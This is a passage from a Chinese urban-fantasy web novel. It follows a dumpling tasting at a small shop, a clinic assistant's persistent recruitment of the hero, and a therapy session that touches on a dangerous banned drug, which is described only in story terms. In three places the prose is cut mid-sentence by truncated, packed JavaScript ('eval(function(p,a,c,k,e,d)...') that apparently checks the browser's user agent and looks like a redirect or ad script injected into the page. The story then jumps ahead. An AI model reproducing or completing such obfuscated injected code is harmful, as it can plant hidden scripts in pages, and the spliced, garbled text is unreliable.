裘诺看着季井仪吃下一个隐约透着点黄绿色的丹饺,脸上的紧张和期待简直呼之欲出。 “怎样?”她问道。 季井仪看她一眼,右半边脸因为咀嚼而鼓得像只仓鼠,没有说话。 自江雪的事情结束后,王睦友有快半个月没见到她了。他随手搅动着碗里的雪菜肉丝馅丹饺,小心翼翼地打量着季井仪——裘诺最后还是找到了那只被藏起来的小花碗,还往里又补了两只新出炉热腾腾的小点心。 季井仪的状态看起来和之前没什么区别:头发打理得闪闪发亮,皮肤也因为得当的保养而光滑细腻。这样的人哪怕是身着统一的片警服装,都不难看出其优越的生活条件。 看她的神情,这几天大概过得挺好的?王睦友咬着筷子上夹的一点雪菜思考着。 但江雪也回来的挺快啊,应该不是成为了她的业绩吧……这不成诬告了吗! 他为江雪的遭遇担忧,季井仪则对他这弯弯绕绕的考量一无所知。 她不紧不慢地咽下了嘴里的东西,又喝了口裘诺递过来的茶水,全程动作优雅又标准,简直堪称餐桌礼仪模范生。 她看着裘诺写满了期待的眼睛,叹了口气,不咸不淡地说:“老问题。肉馅有腥味,雪菜太咸了。肉菜比例虽然不错,但对食材的缺点没有半点掩盖的作用,总之瑜不掩瑕。” 这评价是真是刻薄到一点面子都不给请她吃点心的老板娘留。可这却并没有打击到裘诺,老板娘一合掌:“成了!” 她连连点头,像是要和对方核对意见一样念着笔记:“所以说呢,豆沙、奶黄、芝麻这种传统口味除开材料一吃就是工厂货之外呢,是没有问题的!雪菜肉既然只提了食材问题,就说明味道问题也不大。那么需要味道上调整的就只有芝士流沙馅和艾草芸豆馅……嗯嗯,了解了。” 她满意地合上了笔记,笑眯眯地问一脸无语的季井仪她还要吃点什么。 季井仪摇摇头,叹了口气。 她说:“如果你觉得食材问题不是大问题的话……但还是太粗糙了。我以前吃过的那种丹饺里面总会有一股特殊的花的香气,这个里面就没有。” 裘诺竖起一根指头晃了晃。 “没办法,小本生意嘛。”她回答道。 “真要严格按老方子来的话,和面的时候是要加点榴花蜜的,所以才会给丹饺花的香气……可那东西真贵啊!成本太高了,不予考虑。” “这不还是太粗糙了吗!” 王睦友看了看季井仪碗里几乎是眨眼间就消失了的十几个丹饺,再看看自己碗里怎么都咽不下去的最后三个丹饺,露出了一丝复杂的神色。 可你不是吃的很起劲吗! 他看向裘诺,老板娘对他做了个噤声的手势。 裘老板曾说过,她唯一信奉的原则就是食客的饭碗:只要饭碗空了,那就万事大吉。此刻她无疑贯彻着这条信念,权把食客的差评当做精益求精的挑刺。 可这条诞生于厨娘经验的信念,此时也被季井仪意识到了。 她一边喝茶一边帮自己找补,面不改色心不跳:“丹饺这种东西,现在能吃到就不错了,也轮不到我挑三拣四。虽然大酒店也有在出,但最后做出来都不是一个东西了……我还是喜欢传统一点的那种。” 她说着,欲盖弥彰地咳嗽了一下,从蒸笼里又夹了一个丹饺走,把它一切为二当做模板,一本正经地和王睦友介绍起(他并不感兴趣的)传统丹饺和新式丹饺的区别,顺手就把功成身退的模板塞进了嘴里。 裘诺笑眯眯地看着她,明显心情大好。 “毕竟是邺京中元节才吃的东西嘛。一年也就吃这么一回。” 她说:“这种年龄和邺京的年龄平齐的老古董点心,真想吃点传统的,还得看着老方子自己做。诶,季小姐,如果你有什么朋友之类的想吃这种东西……” 她的意思是希望季井仪帮忙打下广告,可耿直的季小姐却完全没理解这一层。她说:“前几年,我家的厨子还会做那种传统纹样的。” 裘诺的笑脸僵了一下,但还是不死心地再努力一把:“嗯,所以说是现在不做了……” “ 对。”季井仪叹了口气。 “但是这几年……可能是我的父亲到了喜欢清淡的年纪,厨子再也不做红色的点心了。可是连红色的皮都没有,这还能叫什么丹饺。” 她看看手下的那几只点心:“嗯,这样说来,给我装几只带走吧。我也就在这儿能吃点这种东西了。” 于是虽然没做成大生意,但是收获了有钱回头客的裘诺便立刻忙碌了起来。 王睦友看着她们如此和谐的相处,不由感慨万千。 天知道在半个小时前,季井仪刚闯入他们的对话时,裘诺是个怎么如临大敌的样子。 但淳朴的老板娘在发现民警小姐并不是上门来找麻烦——甚至对他们刚才的对话也只听到了“馗先生”这么个名字后,她就立刻热情地邀请对方坐下,推销起刚出炉的丹饺。 她这过于热情的态度堪称强买强卖。但是季井仪一来不缺钱,二来她偏偏就是格外喜欢这类老式小点心的人。她尝了一口,几乎是立刻展现出了一条被娇生惯养的舌头应有的挑剔,让裘老板直呼内行,单方面把对方看做自己事业上的伙伴,加紧端出了今年准备的其他馅料,挨个包了让大小姐尝尝。 眼看着季井仪又开始进行下一轮的品尝了,王睦友叹了口气,再次把碗推到了一边,庆幸裘诺终于是放过自己了。 他悠然地端着今日的免费茶水,一边喝着一边听季井仪和裘诺这两个邺京本地人侃大山,突然产生了一点独属于外地人的困惑。 “丹饺,你们说是中元节的点心吧。”他说。 “可是邺京为什么把中元节看这么重?只是祭祖的话,一般不都是过清明节更多吗?” “邺京这边的传统就是每年在中元节和立冬这两个日子分别祭两次祖。” 可能是看在丹饺的份上,季井仪耐心解释道:“不过现在除了一些历史比较长的家族以外,很少有人祭立冬那天的祖了。” 她打断了王睦友没来得及说出的“为什么”,干脆回答道:“具体原因是和邺京的历史相关了。说起来也是很长的,你自己查查吧。” 她这忽好忽差的态度不像是打算授人以渔,倒是更像脾气差的大佬嫌弃不上进的新人。 王睦友缩了缩脖子,心说这民警小姐太难打交道了,正打算搜索“邺京”“中元节”的关键词,好心的邺京本地人裘诺就说道:“因为当年庆祝邺京成为皇都的全城庆典就是在那个时间。” 她露出了一副怀念的神情:“我小时候还跟着婶婶去放过河灯呢!大家都通过这种方式祭拜亲人,整条邺江就会变成一条流动的火河……啊!还会同时放焰火!是天上的火和水中的火了!” “对,焰火。”她的追忆似乎也勾起了季井仪的遐思。 她也少有地感慨道:“红色的,榴花形状的焰火。邺京从古代就产石榴,这简直就是邺京的象征。” “是啊。小时候那会都是榴花谢了,石榴刚结没多久,中元节就来了。一整个时间都是红火热闹的……那样无忧无虑的日子真让人怀念。” 季井仪看着快乐忆往昔的裘诺,果断闭上了嘴,没有说其实季家私下里还是保持了这些已经被明面禁止了的传统这种优越感满满的话。 她喝了口茶,机敏地看了一眼今天似乎格外恍惚的王睦友和兴致格外高昂的老板娘,突然想到自己刚才听到的那个奇怪名字,便多留了个心眼。 但多留心眼不代表季井仪不采取打直球的战略。她开门见山地问道:“说起来,我进门的时候,你们提及的那个名字……” 王睦友非必要不开口。他谨慎地看向裘诺,后者倒是镇静无比,显然早就应对过好几次这种问题了。 “是我的一个老祖宗啦。”她坦然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊哈哈哈哈哈……”裘诺打着哈哈,试图把这个话题敷衍过去,可收效甚微。 她又看了一眼王睦友,收到了对方表示无能为力的摊手作为回应,也就只能做起了最后的挣扎:“可能是我们家的先祖牵强附会吧?没准只是见过一面?” “见过一面那也该是有着仙法传承的世家了,难道,裘小姐祖上也曾有过传承。”季井仪目不转睛地盯着裘诺。坐在一边的王睦友看见老板娘背上湿了一块——估计是被吓得。 他自己估计也差不多了。 馗先生的存在要暴露了吗?!他们不约而同地想。 “但这样一说也就能说通了。”季井仪还在自顾自地推理,完全不顾裘诺和王睦友的死活。 “毕竟这边居委会的吉先生,还有这边的这位王先生,都有着与众不同的仙法。不过这样一来……” 她话音还没落下,王睦友的终端就突然响了起来。 是通信。 这简直就是雪中送炭。 王睦友想都没想,直接就接通了,甚至点开了免提,于是季井仪的声音就被浅粉色通讯界面的特效声覆盖了过去。 就这样,在三脸迷惑中,一个用兔子发饰扎着一对双马尾的美少女出现在了屏幕中。 “呀!睦睦哥!你可终于接我的通讯了!”她欢快地说,“所以,我之前说的见面请求……” 她这才突然注意到在王睦友身边还有另外两个外人。 这本应该是极为尴尬的场面,但这小姑娘反应迅速,她的目光几乎是立刻就在剩下两人脸上转了一圈,随即流露出无比的欣喜。 “呀!这可真是熟人都凑到一起来了呀!”她笑着说。 “季家的小姐姐,原来你和睦睦哥也认识呀?正好,你的下次心理治疗时间还没定,方便的话,我们现在定一下?” 37.新的橄榄枝 王睦友动作僵硬地搅动了一下手里的深绿色茶水。与大片的柠檬装在一起的碎冰碴被突然活动起来的吸管吓了一跳,互相撞击发出轻微的咔啦声。 这声音又冰又脆,在湿润的夏日下午有着拔群的消暑功能。但很可惜,现在已经感觉自己如坠冰窟的王睦友并不需要此项额外服务。 坐在他对面穿着娃娃裙的漂亮女孩还在喋喋不休,说累了还拿起她自己那杯在杯子口还插着一根糖果色冰棍的咖啡,美美地咬了口已经有些化在咖啡里的冰棍,以期待的目光看着王睦友,好像希望他发表一下听后感想。 王睦友看见一颗被冻在冰棍里的蓝莓落回了咖啡里,苦涩的棕色液体被浸染上了又一层的酸涩,他忍不住牙酸地咧了咧嘴。 这无疑就是开场白了。 他见避不开了,就只能握紧了杯子,硬着头皮说道:“那什么,”他看了看对方眉飞色舞的脸,“皋……皋……皋钟昇小姐……” “嗯嗯!叫我晟晟好啦!晟晟!” 坐在他对面的美少女忙不迭地点头,眼睛里几乎在闪着期待的光:“这样我也好心安理得地叫你睦睦哥啦!” 王睦友心想,且不说这父母是得心多大才给孩子起了这么个奇怪的名字了,这种叠字昵称也不是一般人能对第一次见面的人叫得出来的,纠结之下便选择省略了称呼。 “那个,贵司,那个……什么什么心理工作室来着……” “是茂铭心理健康咨询工作室啦!” 皋钟昇佯装出一副气鼓鼓的样子:“我就说嘛!这种只会出现在上个世纪的名字谁能记住嘛!不过睦睦哥你要相信,我们真的是一家除了名字,哪里都非常靠谱的、正规的、合法的心理咨询机构。我们的运营宗旨,就是将心理健康的概念推行并普及开来。” 她喝了口咖啡,连低头的姿势都赏心悦目。 王睦友以为是轮到自己说话了,正想开口问出他的疑虑,那小姑娘就继续说道:“当今社会,现代人压力剧增,所以心理疾病层出不穷。在这种心理亚健康状态下,但凡是一个不小心就会以太化,长久以来就是对社会治安的挑战。所以,我的老板,佐尔帕罗托先生,才会放弃自己百万年薪,从以太研讨会离职,独立成立心理工作室……” 她越说越起劲,荷叶边的袖子也随着她的手部动作而扬了起来,像盛开的花朵。 这是王睦友已经听过不知道多少次的话了,而眼前正对他滔滔不绝的这位“晟晟”小姐则正是茂铭心理健康咨询工作室的助理。目前她的老板,也就是建立了这个名字太长机构的心理医生正负责着江雪的心理治疗。 也因此作为助理的皋钟晟就联系上了暂时担任江雪监护人的光辛街道居委会,开始了对王睦友的骚扰。 一来二去,她就单方面地和王睦友混熟了,连称呼都直接快进到了“睦睦哥”。 虽然每当她念一遍这个称呼,王睦友就感觉要尴尬到掉一层皮,眼看着这两天角质层都变薄了。 她无疑是一个完美符合人们对“甜妹”这一概念的认知的美少女,对王睦友的态度更是热切到如果王睦友脑子一个不清楚,可能都要认为对方在追自己的程度。 所幸,王睦友就是知道自己不算个聪明人,才一直致力于保持头脑的清晰。 但在他心里还是冉冉升起了一颗疑问的星星:我是做了什么了,让她对我这么热情?她一个有正儿八经工作的小姑娘,总不至于要诈骗我吧? 但现在,这种单方面的热忱已经逐渐演变成了挖墙脚,就像是之前那个每天和你聊天,又孝顺又礼貌的小妹妹突然“不经意”地露出了一角精美茶叶罐一样。 王睦友头痛地揉了揉眉心。 “但说实话啊,”他说,“您不觉得,你们非要我一个什么经验都没有的外行入职……这很奇怪吗?” 坐在他对面的美少女定定地看着他,就好像王睦友说出了什么奇怪的真理一样。这让王睦友多少有点不适应。 他正想装作无事发生地再喝一口手上超难喝的柠檬茶,就听皋钟昇一拍手,愠怒道:“我不是都说了吗?叫我晟晟就可以了!你怎么还叫我皋小姐呀,睦睦哥!明明我都这么亲昵地叫你了!你就应该这么亲昵地叫我!” “所以我们各退一步,对对方都客气一点不好吗……” “不——要!” 那小姑娘端起自己插着一根树莓雪糕的咖啡喝了一口,随即被饮品又酸又涩的味道难喝得龇牙咧嘴,但随即她就动用了自己强大的表情管理能力,默默地把龇出的虎牙往回收了点,只是可爱地吐了吐舌头。 这小姑娘偶像包袱真的是有点重。 现在茶叶小妹都变成心理小妹了。这么一想,连骗术都是跟着时代在变化的呢,这也可真是了不得…… 但不管王睦友心里感叹了多少句废话,面上显得多么无动于衷,皋钟晟始终在用十二万分的热情对待他,简直就像是拉下线的传销人员。 她这次同样还是对要招募王睦友的理由避而不谈。 在之前的交流中,王睦友曾经很多次地询问过,为什么这么个专业的心理咨询机构会向他这个普通的居委会小哥递来橄榄枝。皋钟晟对此要么顾左右而言他,要么就是说她的老板,佐尔帕罗托先生觉得这位小王先生是一个做事踏实,头脑灵活的年轻人,所以想尽力提携一下,给自己的事业寻找助力。 这可真是越听越可疑了。王睦友想。 如果只是以一份待遇优厚的工作做诱饵,那顶多就只是想骗点钱;可这下都涉及什么“看你资质不凡,如遇风云便化龙”之类的奉承了,如果这真是骗术或者仙人跳,那被骗了可就不仅仅是破财就能消灾的程度了。 不被骗去噶腰子就不错了。 于是王睦友就婉拒了这份天降的工作要约,表达了工作不分贵贱,他坚守在居委会的岗位上一样能作为一枚社会基层的螺丝钉继续发光发热,不一定要涉足一个他完全没有了解的领域的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我觉得你这就是偏见,睦睦哥。”她认真地说道,随即轻松摊开手,动作优美得让王睦友一瞬间产生了眼前一花的错觉。 “啊,但是呢,也的确是呢。偏见这个东西总是需要时间才能消化的。我会这样如实汇报的,但是呢,我们仍然诚挚地希望您有改变想法的那一天。嗯,怎么说来着……” 她朝着王睦友伸出手,脸上露出一个和她天真长相不符的职业笑容:“茂铭心理健康咨询工作室,期待和您的进一步合作!” 他们的手就这样握在了一起,却在握住的那一刹那让王睦友产生了一丝奇怪的感觉。 这只正死死捏着他的手的确有着细腻的皮肤,手指柔软,明显是没怎么做过家务的类型,符合皋钟晟展现出的娇贵少女形象。可是这个骨骼的手感、这个脂肪和皮肉的分布…… 怎么越捏越不像是女性的手呢? 像是看穿了王睦友的疑惑,皋钟晟毫无感情的职业笑容里掺入了一点点看热闹的意味。 “那么我们就之后再见啦?”她说,甜蜜地歪过头,更多地露出自己原本藏在娃娃领下的修长脖子,让那个小小的喉结在日光下变得更加显眼。于此同时,她的声音也几乎是立刻低了下去。 “睦睦哥。” 那声音有些中性,但毫无疑问…… 是属于男性的声音。 38.用钱去解决由工作产生的问题 “季小姐,请稍等,我很快就来。” 季井仪点点头,随便找了个扶手椅坐下,就开始百无聊赖地欣赏面前花瓶里的菖蒲花。 这是个说的好听点叫极简,难听点就是简陋的小办公室。房间里只有一套办公桌椅,和一套会客用的扶手椅矮几,除此之外就是刷得白白的墙和纯白的地板。 这两组家具又由一片纯透的薄薄屏风分开。屏风使用的新型材质自动隔开了两个空间里声音的流通,也在不模糊物品的同时屏蔽了屏风里外的人影。 她正数着菖蒲花浅红色的花瓣,就听到屏风被打开的电子音效,心理治疗师佐尔帕罗托带着歉意向她问好。 “抱歉,手边有事耽误了一下。”他说,手里拿着一只茶壶和两个茶杯。 “无妨。”季井仪把视线从菖蒲花上移开,“是我来早了。 佐尔帕罗托赔着笑,将茶杯和茶壶放在了矮几上,为季井仪倒了一杯茶,一些浅红色的花瓣顺着壶嘴与茶汤一起落入了小杯中。 他轻松地说:“我前两天从朋友那里收到了一点我们那边的特产茶叶。正好想着给接下来的客人试试味道,你运气不错。” “请尝尝吧。”他笑着说,“房羲族的特产茶叶,我想即使是季家也不是能天天喝到的。” 他黑色的头发在办公室透白的灯光下反射出一丝黄铜的质感,显得有些突兀。季井仪盯着那处发丝看,最后叹了口气。 “我还以为房羲人已经没什么自己族群的文化了。嗯,那这倒是可以试试……”她说。 她的反应让佐尔帕罗托失笑。他半是调侃:“这份茶叶可不是什么按需拥有的刻奇文化的产品。请放心品尝吧。” “我知道。”季井仪说着抿了一口浅红色的茶水,“最近带有房羲部落风格的单品卖得都不错。” 她说:“可能甚至炒红这个东西的人自己都不是房羲人,可是这些刻板印象倒是已经很顺利地商业化了。” 她的这一番话只换来了苦笑。 就像佐尔帕罗托所说的那样,名为房羲族的少数民族原本只聚居在舆华极北的几个小型村落里,与外界有着堪称生殖隔离一样的社会构架区别。 直到第四次极夜事件发生前的十年左右,这些小型村落才因为一次次的科考而逐渐被人熟知,现代的生活方式与社会构架几乎是不费吹灰之力就击败并葬送了房羲族原始的母系部落氏族体系。再加之极夜的到来,被迫进入新世界的房羲族人便流落到了各个城市中。他们原本的村落与民俗,就这样被遗弃在了极夜产生的一簇簇晶丛中。 但即便如此,他们与非房羲族人的区别仍然是一目了然的——他们的虹膜与体毛具有极强的偏光特性。即便是在乌泱泱的人群中,人们都可以轻松依靠着他们头发泛出的金属光泽精准地定位到他们,进而使在过去部分淳朴到狭隘的人们很难相信,他们是有着完全相同文化背景,可以和彼此顺畅交流的“同类”。 人类学家和生物学家曾经试图证明房羲族人是类似于以太人类那样,是完全的另一种生物。但是他们长年累月的研究反而证明,除了虹膜和毛鳞片上细微的差异,房羲族人和普通人在功能上完全一样,倒不如说他们只是人类的另一亚种罢了。 佐尔帕罗托在长相上也具有这样的特征。不过在多年的归化后,这些特征只有在特定的角度下,才会隐秘地显现出来,成为民族融合的一条不怎么引人注目的注脚。 他对季井仪的挖苦回以礼貌的微笑,双手交叠。 “你和季白矢,你们兄妹两个其实挺像的。”他说。 “前几天我们见面,在我请他喝茶时,他也说了这样的话。” 季井仪“哦”了一声。 她不咸不淡地说:“我还以为他不会说笑呢。” “哪里的话。” 佐尔帕罗托笑了。 他摇摇头: “从我们认识开始算,我印象里的季白矢就是个很有幽默感的人……虽然是冷幽默吧。” 他们所提起的季白矢,就是季井仪同父同母的亲哥哥,是季井仪这一辈的五个小辈里的长子,也是将佐尔帕罗托介绍给季井仪的中间人。 季白矢虽然平日里一副淡泊名利的样子,但实际上却是最狂热的家族事务参与者,几乎是把想接他们父亲的班,做季家的掌控者这一野心明写在脸上了。甚至于季井仪这次回到季家,都没什么好好和昔日最信任的家人说话的机会,他们的关系也就因此疏远了起来。 可他们终究有着不同于其他人的连接——他们的相处方式,自然就与和家中其他人不太一样。 在季井仪看来,和季白矢的会面不论在什么时候,不论为了什么事情,都始终会带有轻松的愉快感。 至少她是这么希望的。 于是他们的这次会面并没有什么特殊的规划——毕竟只是季井仪把之前陆铭给自己下毒,但又给了自己解药的事情告诉了大哥季白矢,于是她的大哥就尽快找了个他们两人都有空的时间前来探病,顺带把自己的旧识:于一年前离开了前东家以太研讨会,现在出来单干的心理治疗师佐尔帕罗托,带到了她的客厅里。 这当然不是季白矢主动攒的局。他只是应自己可怜妹妹的要求,为她找来了一个“最好有过以太研讨会背景的专业人士”对她进行短期的心理治疗。 即便是在他们的关系疏远了的今天,季白矢也愿意为自己的妹妹做些举手之劳,可也就仅限于举手之劳了。 即便过去他们曾经是亲密无间的兄妹。 这只能说是极其遗憾,却又无可奈何的事情,是每个季家的成员都一定会经历的变化。 季白矢知道自己留不了多久,于是一切都拣重要的说:嘱咐自己的旧识多关注一下季井仪的身体状况,说自己可怜的妹妹可能刚被迫接触到了一点从以太研讨会里流出的药物。 他说:“现在季家已经到了一个必须要做出决定的时刻。不论是我们的父亲,还是家里的其他长辈自然都不希望这个过程中出现岔子……尤其是可能会伤害到候选人身体的隐患。” 佐尔帕罗托自然只能表示理解。季井仪则心说你可别提那倒霉继承人决议了,就是因为这个破决定,我差点被我们陆伯母药死。但这话到了她嘴边还是打了个圈,最后变成了礼貌的附和词句,大意就是一些拜托佐尔帕罗托先生了,请帮我检查一下我体内有没有残留的药力之类的客套话。 季白矢本来似乎还想说些什么,可守候在客厅门外的商管侍却好巧不巧地走了进来,对着他们微微鞠躬,随后快步走向季白矢的身边。 “一少爷,”他低着头礼貌地提醒道,“一个小时后,您还有一场会面。” 季白矢看了他一眼。 “希望你快点康复。”他最后对自己的妹妹说道。 “我……还有我们的父亲,都十分担心你。” 季井仪其实一开始就对这个性格随和又爱说笑的心理治疗师将信将疑,只是碍于季白矢的面子不好明说。 她在两人第一次见面时,就直截了当地问他为什么要从以太研讨会离职——现在体面,收入又高又稳定的就职机构首推就是以太研讨会,她实在是无法理解为什么会有人想从里面离开,再自立门户。 再者,研讨会居然还会一直和这样的离职员工继续保持工作上的交集…… 她想,研讨会的委托可不是谁都能接到的。 她自觉已经把怀疑和不信任表达得一清二楚,但佐尔帕罗托并没有任何被冒犯的意思。 他只是安静地听季井仪问完,不紧不慢地回答道:“因为除了稳定又丰厚的薪资,我还有很多其他想追求的东西。” 他顿了顿,坚定地说:“我希望能帮助更多受精神问题困扰的人。所以我选择离职,在更容易接触到没什么这方面知识的人的地方开设工作室,等待有需要的人找到我。” 季井仪稍稍侧了下头,就听佐尔帕罗托继续说道:“从以太人类这一认知开始深入人心,我们可以通过统计数据发现每年以太人类的转化增量是处于上升势态的,而每年因精神问题而造成的恶性事件数量也在缓慢上涨。换句话说。对于以太学的认识反而使公众的精神卫生成为了一个问题。比起在研讨会里,我觉得可能还是一线接触这些患者会更符合我对自己人生的规划。” 季井仪看着他,没有说话。 佐尔帕罗托依然礼貌地笑着,良久,他才说道:“当然,研讨会的工作,也实在是有点压力太大了。” 这样才对嘛! 季井仪点了点头,了然地说:“研讨会也很不容易嘛。能举几个例子吗?” 这个问题好像难倒了佐尔帕罗托。 他缓缓摇了摇头,随后有些困扰地抚摸起太阳穴。 “事实上在我离职前,我就按照以太研讨会的保密条款洗去了部分记忆。”他说。 “我现在忘掉了以太研讨会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季井仪在一些地方的嗅觉不可谓是不敏感。被她当做KPI上交的江雪虽然本人并没有卷入溶素泄露案,可却成为了这起一年前的案件再次被提起的契机。从以太研讨会到邺京本地的公安系统都对此极其重视。 其中的原因之一固然是这起违禁药品泄露案背后所显露出的以太研讨会内部的漏洞,之二则是因为溶素,即在以太研讨会的资料库里被标记为迴1的化合物,本身就是一种极其危险的东西。 这一化合物的历史最早可以追溯第四次极夜事件,最初是针对以太人类开发的用于提高专注力的药物中的核心成分。它十分有效,同时几乎没有任何制作门槛,却在它的温和版被开发出来后,就被以太研讨会以最快的速度禁止,成了违禁药品,连配方都被上了只有内部员工才能浏览的权限。 其中原因也很简单——溶素的成瘾性和副作用都太大了。 以太人类使用了它会感到亢奋,精力与感情同样充沛;普通人在使用后却会感受到迷幻,好似精神与□□同时在经历两重世界。但一旦使用不当,等待以太人类的就是自我认知异化,彻底变为“以太生物”而不是“以太人类”;普通人就可能落得人格破裂、精神崩溃的下场,被直接送进精神病院,甚至死亡。 而与这种可怕的副作用和成瘾性相对的是它廉价又简单的制作方法:连中学生拿到了溶素的配方都能配得八九不离十,更别说要是有心之人拿它去量产会是个什么糟糕的结果。 就是这么个麻烦的东西居然堂而皇之地在黑市里流通了快一年……直到最近才想起来要治理。 邺京真的有像他自己声称的那样严肃治理各种违禁药物吗? 季井仪想到这里就头痛,不由深深地叹息。 佐尔帕罗托同情地看着她。 “我理解,”他说,“我在以太研讨会的时候,工作强度也高得吓人,那可真是难熬的日子……先不说其他的了,请放松,让我帮你清空焦虑吧。” 他啪地打了一个响指,随后在季井仪眼前做了个暂停的手势。 这个手势像是有魔法,几乎在瞬间,原本困扰季井仪的思绪就被清得一干二净,随之而来的就是一片澄净的清明。 也就在此刻,她突兀地被佐尔帕罗托戴在左手小拇指上的素圈戒指吸引去了注意力。 “好的,那么就让我们继续上次的话题……” “那枚戒指是什么?”她突然问,抬起手指向他的左手小拇指。 “这种银色的闪光……”她像在自言自语,“我好像在哪里见过。”